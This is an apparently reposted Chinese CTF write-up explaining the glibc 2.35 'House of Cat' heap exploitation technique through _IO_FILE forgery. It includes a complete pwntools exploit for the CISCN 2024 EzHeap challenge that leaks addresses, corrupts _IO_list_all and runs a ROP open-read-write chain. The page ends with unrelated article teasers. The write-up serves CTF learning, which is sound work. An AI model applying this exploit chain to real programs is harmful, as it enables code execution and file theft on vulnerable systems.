[CTF]-PWN:House of Cat堆題型綜合解析

原理:

調用順序:
exit->_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode

_IO_wfile_seekoff源碼:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{off64_t result;off64_t delta, new_offset;long int count;if (mode == 0)return do_ftell_wide (fp);int must_be_exact = ((fp->_wide_data->_IO_read_base== fp->_wide_data->_IO_read_end)&& (fp->_wide_data->_IO_write_base== fp->_wide_data->_IO_write_ptr));bool was_writing = ((fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base)|| _IO_in_put_mode (fp));if (was_writing && _IO_switch_to_wget_mode (fp))return WEOF;......
}
libc_hidden_def (_IO_wfile_seekoff)

_IO_switch_to_wget_mode源碼:

int
_IO_switch_to_wget_mode (FILE *fp)
{if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)return EOF;......
}
0x7ffff7c83cb0 <_IO_switch_to_wget_mode>        endbr64 
0x7ffff7c83cb4 <_IO_switch_to_wget_mode+4>      mov    rax, qword ptr [rdi + 0xa0]
0x7ffff7c83cbb <_IO_switch_to_wget_mode+11>     push   rbx
0x7ffff7c83cbc <_IO_switch_to_wget_mode+12>     mov    rbx, rdi
0x7ffff7c83cbf <_IO_switch_to_wget_mode+15>     mov    rdx, qword ptr [rax + 0x20]
0x7ffff7c83cc3 <_IO_switch_to_wget_mode+19>     cmp    rdx, qword ptr [rax + 0x18]
0x7ffff7c83cc7 <_IO_switch_to_wget_mode+23>     jbe    _IO_switch_to_wget_mode+56
0x7ffff7c83cc9 (_IO_switch_to_wget_mode+25) ?— mov rax, qword ptr [rax + 0xe0]
0x7ffff7c83cd5 (_IO_switch_to_wget_mode+37) ?— call qword ptr [rax + 0x18]

我們可以偽造_IO_FILE結構體,我們可以控制執行流

#? rax1=[rdi+0xa0]

#? rdx=[rax+0x20]

#? rax2=[rax+0xe0]

#? call [rax+0x18]

fake_IO_FILE=p64(pop_rdi) #需修改地址
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)#rax2fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2 #需修改地址
fake_IO_FILE+=p64(ret)

這里偽造_IO_FILE結構體可以直接照著模板寫?

例題(ciscn2024 初賽 EzHeap):

環境:glibc 2.35

知識點:堆溢出、House of Cat

解題思路:

利用largebin泄露出libc地址和heap地址,利用堆溢出在_IO_list_all處寫入偽造_IO_FILE結構體地址,在某一堆塊偽造_IO_FILE地址,在某一堆塊寫入orw,exit觸發IO流完成ORW。

gdb查看結構體操作:

偽造后的_IO_FILE結構體:

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap')def alloc(size,content):p.sendlineafter(b'>>',b'1')p.sendlineafter(b'size:',str(size).encode('utf-8'))p.sendafter(b'content',content)
def free(index):p.sendlineafter(b'>>',b'2')p.sendlineafter(b'idx:',str(index).encode('utf-8'))
def edit(index,content):p.sendlineafter(b'>>',b'3')p.sendlineafter(b'idx:',str(index).encode('utf-8'))p.sendlineafter(b'size:',str(len(content)).encode('utf-8'))p.sendafter(b'content',content)
def show(index):p.sendlineafter(b'>>',b'4')p.sendlineafter(b'idx:',str(index).encode('utf-8'))def gdbs():gdb.attach(p)pause()alloc(0x200,b'aa')
alloc(0x420,b'aa')
alloc(0x420,b'aa')
free(1)
alloc(0x440,b'aa')
show(0)
payload=b'a'*0x210
edit(0,payload)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21b0d0payload=b'a'*0x220
edit(0,payload)
show(0)
p.recvuntil(b'a'*0x220)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x2510
payload=b'a'*0x200+p64(0)+p64(0x431)
edit(0,payload)
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')#11
free(11)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
IO_list_all=libcbase+libc.sym['_IO_list_all']
payload=b'a'*0x60+p64(0)+p64(0x71)+p64(((heapbase+0x19f0)>>12)^(IO_list_all))+p64(0)
edit(3,payload)chunk0=heapbase+0x2300
chunk1=heapbase+0x2d80
chunk2=heapbase+0x2950
chunknew=heapbase+0x19f0fake_IO_FILE_addr=chunk0+0x10
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rax=libcbase+0x0000000000045eb0
syscall=libcbase+0x91316_IO_wfile_jumps=libcbase+0x2170c0
setcontext=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
flag_addr=chunknew+0x10
orw_addr=chunk2+0x10fake_IO_FILE=p64(pop_rdi)
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2
fake_IO_FILE+=p64(ret)
edit(0,fake_IO_FILE)orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
edit(2,orw)print("orw="+hex(orw_addr))
print("setcontext3d="+hex(setcontext+0x3d))
print("pop_rdi="+hex(pop_rdi))
alloc(0x60,b'flag\x00')#flag_addr
alloc(0x60,p64(fake_IO_FILE_addr))
p.sendlineafter(b'>>',b'5')p.interactive()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/43058.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/43058.shtml
英文地址,請注明出處:http://en.pswp.cn/web/43058.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

AI繪畫小白必備!Stable Diffusion常用插件合集,好用推薦!(附插件下載)

前言 寶子們&#xff0c;早上好啊~Stable Diffusion 常用插件&#xff0c;月月已經給大家整理好了&#xff0c;自取就好。 擁有這些SD常用插件&#xff0c;讓您的圖像生成和編輯過程更加強大、直觀、多樣化。以下插件集成了一系列增強功能&#xff0c;覆蓋從自動補全提示詞到…

開源項目:驅動創新與協作的時代引擎

《開源項目&#xff1a;驅動創新與協作的時代引擎》 在當今全球經濟與科技環境瞬息萬變的背景下&#xff0c;開源軟件項目如同一顆璀璨的新星&#xff0c;在開發者社區的天空中熠熠生輝。其蓬勃發展的態勢不僅成為了熱門話題&#xff0c;更是引領著技術領域的變革潮流。 開源…

無法訪問。你可能沒有權限使用網絡資源。請與這臺服務器的管理員聯系以查明你是否有訪問權限。【解決辦法】

問題描述 新建好一臺windows虛擬機&#xff0c;兩臺設備網絡是互通的&#xff0c;但是物理機在訪問虛擬機的網絡共享文件資源時&#xff0c;出現圖下所示的報錯&#xff1a;XXX無法訪問。你可能沒有權限使用網絡資源。請與這臺服務器的管理員聯系以查明你是否有訪問權限。用戶…

echarts無法加載Map地圖的問題

項目場景&#xff1a; echarts無法加載Map地圖的問題 詳情 查閱相關資料講&#xff0c;echarts4.9以上版本已經移除了map&#xff0c;那么我們就得重新打包echarts文件了。打包echarts.min.js的鏈接&#xff1a;https://echarts.apache.org/zh/builder.html 在這個鏈接頁面可…

考完軟考之后,如何評職稱?是否有有效期?

一、軟考和職稱之間的關系 軟考和職稱之間的關系可以這樣理解&#xff1a;拿到軟考證書并不意味著就能獲得職稱。軟考證書是技術等級證書&#xff0c;而職稱則是一種資格。如果單位聘用你做工程師&#xff0c;那么你的軟考證書就可以發揮作用&#xff0c;相當于獲得了職稱證。…

單商戶和多商戶的區別

單商戶商城通常由單個企業或品牌運營&#xff0c;專注于銷售自家產品&#xff0c;而多商戶商城則類似于一個平臺&#xff0c;允許多個商家入駐并銷售各自的商品。它們在經營模式、商家入駐和運營投入等方面有所不同。具體分析如下&#xff1a; 經營模式 單商戶商城&#xff1…

MES:連接計劃與執行的橋梁

想象一下&#xff0c;你的企業擁有一份完美的生產計劃&#xff0c;但如何將這份計劃準確無誤地轉化為實際生產中的每一步操作&#xff1f;這就是MES大展身手的地方。MES作為ERP&#xff08;企業資源計劃&#xff09;與車間自動化控制之間的橋梁&#xff0c;確保生產計劃能夠順暢…

hf-mirror (huggingface 的國內鏡像)

官網&#xff1a; https://hf-mirror.com/ 網站域名 hf-mirror.com&#xff0c;用于鏡像 huggingface.co 域名。作為一個公益項目&#xff0c;致力于幫助國內AI開發者快速、穩定的下載模型、數據集。 如何使用HF-Mirror 方法一&#xff1a;網頁下載 在https://hf-mirror.com/…

邊框插畫:成都亞恒豐創教育科技有限公司

邊框插畫&#xff1a;藝術與生活的精致邊界 在視覺藝術的廣闊天地里&#xff0c;邊框插畫以其獨特的魅力和細膩的表達方式&#xff0c;成為連接藝術與生活的一道精致邊界。成都亞恒豐創教育科技有限公司它不僅僅是圖像的外框裝飾&#xff0c;更是情感、故事與創意的延伸&#…

看到指針就頭疼?這篇文章讓你對指針有更全面的了解!

文章目錄 1.什么是指針2.指針和指針類型2.1 指針-整數2.2 指針的解引用 3.野指針3.1為什么會有野指針3.2 如何規避野指針 4.指針運算4.1 指針-整數4.2 指針減指針4.3 指針的關系運算 5.指針與數組6.二級指針7.指針數組 1.什么是指針 指針的兩個要點 1.指針是內存中的一個最小單…

【Python】ModuleNotFoundError: No module named ‘distutils.util‘ bug fix

【Python】ModuleNotFoundError: No module named distutils.util bug fix 1. error like this2. how to fix why this error occured , because i remove the origin version python of ubuntu of 20.04. then the system trapped in tty1 , you must make sure the laptop li…

MVC 返回集合方法,以及分頁

返回一個數據集方法 返回多個數據集方法 》》定義一個Model public class IndexMoel {public List<UserGroup> UserGroup{get;set;}public List<User> User{get;set;}}》》》控制器 //db 是 EF 中的上下文 var listnew IndexModel(); list.UserGroupdb.UserGro…

微信小程序中wx.navigateBack()頁面棧返回上一頁時執行上一頁的方法或修改上一頁的data屬性值

let pages getCurrentPages();let prevPage pages[pages.length - 2]; // 獲取上一個頁面實例對象console.log(prevPage) //打印信息// 在 wx.navigateBack 的 success 回調中執行需要的方法wx.navigateBack({delta: 1, // 返回上一頁success: function() {//修改上一頁的屬性…

秒懂設計模式--學習筆記(8)【結構型-組合模式】

目錄 7、組合模式7.1 組合模式&#xff08;Composite&#xff09;7.2 叉樹結構7.3 文件系統7.4 目錄樹展示7.5 自相似性的涌現7.6 組合模式的各角色定義7.7 組合 7、組合模式 7.1 組合模式&#xff08;Composite&#xff09; 是針對由多個節點對象&#xff08;部分&#xff0…

關于string的‘\0‘與string,vector構造特點,反迭代器與迭代器類等的討論

目錄 問題一&#xff1a;關于string的\0問題討論 問題二&#xff1a;C標準庫中的string內存是分配在堆上面嗎&#xff1f; 問題三&#xff1a;string與vector的capacity大小設計的特點 問題四&#xff1a;string的流提取問題 問題五&#xff1a;迭代器失效 問題六&#xf…

個人開發實現AI套殼網站快速搭建(Vue+elementUI+SpringBoot)

目錄 一、效果展示 二、項目概述 三、手把手快速搭建實現本項目 3.1 前端實現 3.2 后端方向 五、后續開發計劃 一、效果展示 默認展示 一般對話展示&#xff1a; 代碼對話展示&#xff1a; 二、項目概述 本項目是一個基于Web的智能對話服務平臺&#xff0c;通過后端與第…

【C語言】指針(4):深入理解指針

目錄 ?編輯 一、回調函數 二、qsort使用舉例 2.1 使用qsort排序整型數據 2.2 使用qsort排序結構體數據 三、qsort的模擬實現 四、NULL、\0、0、0、null、NUL的區別 五、C99中的變長數組 一、回調函數 函數指針是將函數的地址取出來&#xff0c;再通過函數地址去調用&a…

untiy 在菜單欄添加自定義按鈕 點擊按鈕彈出一個Unity窗口,并在窗口里添加屬性

using System.Collections.Generic; using UnityEditor; using UnityEngine; using UnityEngine.Rendering.PostProcessing;public class AutoGenerateWindow : EditorWindow //這是定義一個窗口 {public string subjecttName "科目名字";//科目的名字public GameOb…

springboot 與 ipv6

ipv6 是個必然趨勢&#xff0c;尤其最近國家在這方面有新的推動。 運營商的項目逐漸有這方面的要求了。 所以&#xff0c;在ipv6環境&#xff0c;http或者https接口&#xff0c;還有數據庫地址&#xff0c;ipv4下是ip:port&#xff0c; 但到了ipv6&#xff0c;ipv6 的 ip就包含…

PIOMAS二進制文件轉nc文件

文章目錄 1. 按年輸出數據2. 按月輸出數據將PIOMAS標量的二進制數據格式轉化成nc格式。 1. 按年輸出數據 # 按年輸出數據 import numpy as np import pandas as pd import struct import xarray as xr import matplotlib.pyplot as plt # from cartoplot import cartoplotgri…